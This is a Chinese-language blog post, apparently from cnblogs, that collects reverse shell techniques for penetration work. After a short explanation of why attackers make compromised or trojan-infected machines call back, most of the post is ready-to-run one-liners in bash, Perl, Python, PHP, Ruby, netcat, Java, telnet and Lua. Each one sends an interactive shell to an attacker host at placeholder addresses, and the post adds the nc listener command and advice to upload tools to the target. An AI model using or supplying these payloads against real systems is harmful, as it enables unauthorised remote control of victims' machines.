• 渗透-N种反弹shell方法


    简介

           reverse shell反弹shell或者说反向shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转

    通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

    什么是反弹,为什么要反弹

    假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。

    什么时候需要

    l   某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。

    l   由于防火墙等限制,对方机器只能发送请求,不能接收请求。

    l   对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

    有哪些姿势

    bash:

    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

    Perl 1:

    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    Perl 2 不依赖/bin/sh:

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    Perl 3 Windows:

    perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"123.123.123.123:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    Python 2.7:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

    PHP:

    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

    Ruby:

    ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

    Ruby Windows:

    ruby -rsocket -e 'c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    Ruby 不依赖 /bin/sh:

    ruby -rsocket -e 'exit if fork;c=TCPSocket.new("123.123.123.123","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

    NC:

    nc -e /bin/sh 10.0.0.1 1234

    有些版本的NC可能不支持-e选项

    不能使用-e时

    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

    Java:

    r = Runtime.getRuntime()
    
    p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])
    
    p.waitFor()

    Telnet:

    NC不可用或者/dev/tcp不可用时

    mknod backpipe p && telnet 123.123.123.123 8080 0<backpipe | /bin/bash 1>backpipe

    Lua:

    lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

    如何连接:

    先在本地机器上执行:

    nc –l –p 端口

    然后在远程机器上执行上述反弹shell的代码即可,对方系统上安装什么了就用什么,没安装咱就上传一个。


    补充一下:

    关于 linux中的一个特殊文件: /dev/tcp   

    有一个特殊的文件/dev/tcp,打开这个文件就类似于发出了一个socket调用建立一个socket连接读写这个文件就相当于在这个socket连接中传输数据。

  • 相关阅读:
    LCA+线段树/树状数组 POJ2763 Housewife Wind
    图论 洛谷P2052 道路修建
    动态规划 洛谷P2365 任务安排
    GCD问题 洛谷P1372 又是毕业季I & P1414 又是毕业季II
    动态规划 洛谷P1140 相似基因
    动态规划 洛谷P1868 饥饿的奶牛
    动态规划 P1280 尼克的任务
    倍增LCA BZOJ1776 cowpol奶牛政坛
    P1416 攻击火星
    搜索 洛谷 P1434滑雪
  • 原文地址:https://www.cnblogs.com/-qing-/p/10841677.html
Copyright © 2020-2023  润新知